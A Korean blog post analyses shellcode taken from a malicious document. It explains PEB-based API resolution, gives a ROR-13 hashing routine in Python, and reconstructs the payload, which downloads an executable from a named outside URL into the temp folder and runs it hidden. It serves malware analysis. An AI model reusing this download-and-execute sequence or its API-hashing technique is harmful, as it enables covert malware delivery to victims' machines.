악성 쉘코드(Shellcode) 분석



 문서 악성코드를 분석하다가 내부에서 익스플로잇 후 쉘코드를 사용하는 것을 보았는데, 분석해보면 좋겠다는 생각이 들어 분석을 진행해봤습니다.



[그림 1. ODA에서 디스어셈블한 쉘코드 전체, 클릭하면 커집니다]


 쉘코드 전체는 위와 같습니다. 이 쉘코드는 크게 함수를 찾아 실행시키는 함수와 연쇄적으로 함수를 호출하는 두 부분으로 나뉩니다. 함수를 찾아 실행시키는 이 함수가 가장 중요하므로 메인 함수라고 부르겠습니다. 맨 밑에는 URL String이라고 주석으로 단 것과 같이 URL 문자열이 들어 있습니다.




[그림 2. 쉘코드 시작 직후 바로 Call 하는 루틴]


 우선 함수를 호출하는 부분부터 살펴보면, 쉘코드가 시작하자마자 쉘코드 내의 특정 함수를 Call하는 것을 볼 수 있습니다. Call 명령어의 특징은 JMP 명령과는 달리 실행되면서 자동으로 스택에 다음 명령어의 주소(여기서는 0x30006), 즉 리턴 어드레스를 스택에 Push한다는 점인데, Call된 함수 내부에서는 바로 Pop 명령으로 EBP에 그 값을 저장합니다. 그리고 스택에 몇 가지 인자를 넣고 EBP를 그대로 호출합니다. 첫 번째 인자는 지금은 무엇인지 알 수 없는 4바이트 값이며, 두 번째 인자는 Push ESP를 통해 들어간 문자열 값으로 "urlmon"이라는 값입니다. 이를 알 수 있는 이유는 Push ESP 이전에 두 번의 Push를 통해 스택에 문자열로 "urlmon"을 저장하는 것이 보이기 때문입니다. 이제 EBP에 지정된 함수(0x30006)에 대해 분석해보겠습니다.




[그림 3. 함수를 찾아 실행시키는 메인 함수]


 쉘코드 전체에서 위의 빨간 점선 부분이 Call EBP를 통해 호출되는 부분입니다. 바로 이 함수가 위에서 언급한 메인 함수입니다. 분석을 마치고 내린 결론은 이 함수는 인자로 특정 함수명의 해시를 전달받아 이를 찾아 실행시키는 함수라는 점입니다. 차근차근 위에서부터 분석해보겠습니다.




[그림 4. 로드된 모듈과 그 안의 함수 정보를 가져오는 부분]


 fs:[0x30]으로 PEB를 가져오고, 거기서 또 0xC만큼의 Offset에 있는 Ldr을 가져옵니다. 여기까지만 봐도 벌써 익숙한 코드여서 그 다음은 분석하기 무척 쉬웠습니다. 메모리에 로드된 DLL 정보가 이중 연결 리스트 형태로 저장되어있는 Ldr 구조체를 참조하여 로드된 DLL 정보와 Base Address를 가져오고, 이를 파싱하여 Export Table을 확인합니다. 만약 Export된 함수가 없을 경우에는 밑으로 점프하는데 밑에서는 참조할 DLL을 다음 것으로 로드한 뒤 다시 위로 돌아옵니다. 위 루틴이 끝난 후에는 ESI에 함수 이름이 저장됩니다. 자세한 내용은 전에 공부하며 정리한 적이 있으므로 아래 링크 두 개를 참조하면 되겠습니다.



TIB, PEB를 이용해 로드된 DLL 정보 가져오기 : https://5kyc1ad.tistory.com/328

GetProcAddress 없이 API 주소 가져오기 : https://5kyc1ad.tistory.com/329




[그림 5. 찾은 함수명 해싱]


 그렇게 찾아온 함수를 직접 만든 듯한 루틴에 넣고 돌려 4바이트짜리 해시를 뽑습니다. lodsb 명령의 경우 ESI가 가리키는 값 한 바이트를 al에 복사하고 ESI 값을 1바이트 증가시키는 역할을 합니다. (참고 : https://blog.naver.com/krquddnr37/20193085864) 해싱 함수의 경우 무척 간단해서 파이썬으로 루틴을 작성해봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# ROL & ROR Function : https://bbolmin.tistory.com/133
def ROL(data, shift, size=32):
    shift %= size
    remains = data >> (size - shift)
    body = (data << shift) - (remains << size )
    return (body + remains)
 
def ROR(data, shift, size=32):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)
 
def HashROR(target):
    ret = 0
    for c in target:
        ret = ROR(ret, 0xD)
        ret += ord(c)
    return ret
cs


 그리고 나온 해시를 [EBP+24]와 비교하는데, 이는 위에서 Call EBP를 통해 이 함수를 호출하기 전에 첫 번째 인자로 넣었던 값입니다. 즉, 메인 함수의 첫 번째 인자는 찾고자 하는 함수명의 해시임을 알 수 있습니다.




[그림 6. 찾은 함수 호출 루틴]


 그렇게 찾아낸 함수는 위 루틴을 거쳐 실행시킵니다. 함수로 Jmp하기 전에 PopadPop이 두 번 있는 것을 볼 수 있는데, 그림 3에서 확인할 수 있듯이 메인 함수가 실행된 후 Pushad를 호출했었습니다. Popad로 스택에서 그 부분을 다시 가져오고, pop을 두 번 진행하여 스택에 쌓여 있던 리턴 어드레스와 첫 번째 인자(해싱된 함수명)를 제거합니다. SFP(Saved Frame Pointer)의 경우에는 함수에서 호출되자마자 Push EBP를 통해 스택에 쌓는게 일반적이지만 여기에서는 그런 명령어는 없었으니 논외입니다. 이후 첫 번째로 Pop했던 리턴 어드레스를 다시 Push하고 Call이 아니라 JMP 명령어로 찾아낸 함수를 호출하는데, 이럴 경우 방금 Push한 메인 함수의 리턴 어드레스가 JMP 명령으로 이동할 함수에서 사용할 리턴 어드레스가 되므로 찾아낸 함수가 종료되는 순간 메인 함수를 호출한 다음 명령어로 돌아가게 될 것입니다. (그림 2의 0x300C7) 이렇게 하면 자연스럽게 메인 함수에 넘긴 두 번째 인자부터는 메인 함수 내에서 찾아 호출한 함수의 인자로 들어가게 됩니다.




[그림 7. 메인 함수 호출]


 이 쉘코드는 이런식으로 Call EBP를 연쇄적으로 호출하는데, 지금까지의 과정으로 메인 함수의 첫 번째 인자는 호출할 함수명의 해시이며 두 번째부터는 찾아서 호출될 함수에 들어갈 인자들이라는 것을 알 수 있었습니다. 




[그림 8. 함수명과 그 해시]


 이를 통해 찾아낸 각 해시에 대응하는 함수명들은 위와 같습니다. 이는 위에 파이썬으로 작성해 둔 HashROR 함수로 얻어낸 값입니다. 그림 7에 빨간 점선으로 표시된 값과 일치하는 것을 확인할 수 있습니다. 그림 7에도 주석으로 달려 있지만 이 쉘코드에서 호출할 것이라 예상되는 함수와 그 순서는 다음과 같습니다. (이해를 돕기 위해 중간에 Pseudo-Code도 포함되어있습니다)


1
2
3
4
5
6
7
LoadLibrary("urlmon");
LPVOID p = VirtualAlloc(NULL0x400, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
GetTempPathA(0x104, p);
+= "tasc.exe";
URLDownloadToFileA(NULL"http://hrkumdo.org/xe/files/capsule.jpg", p, NULLNULL);
WinExec(p, SW_HIDE);
TerminateProcess(INVALID_HANDLE_VALUE, 0);
cs



 결론을 내리면 이 쉘코드는 특정 URL에서 PE 파일을 다운로드 받아와서 임시 폴더에 저장하고, 콘솔 없이 백그라운드로 실행시키는 동작을 합니다. 난독화나 암호화가 된 것도 아니라서 분석하기는 무척 쉬웠던 것 같습니다.







블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요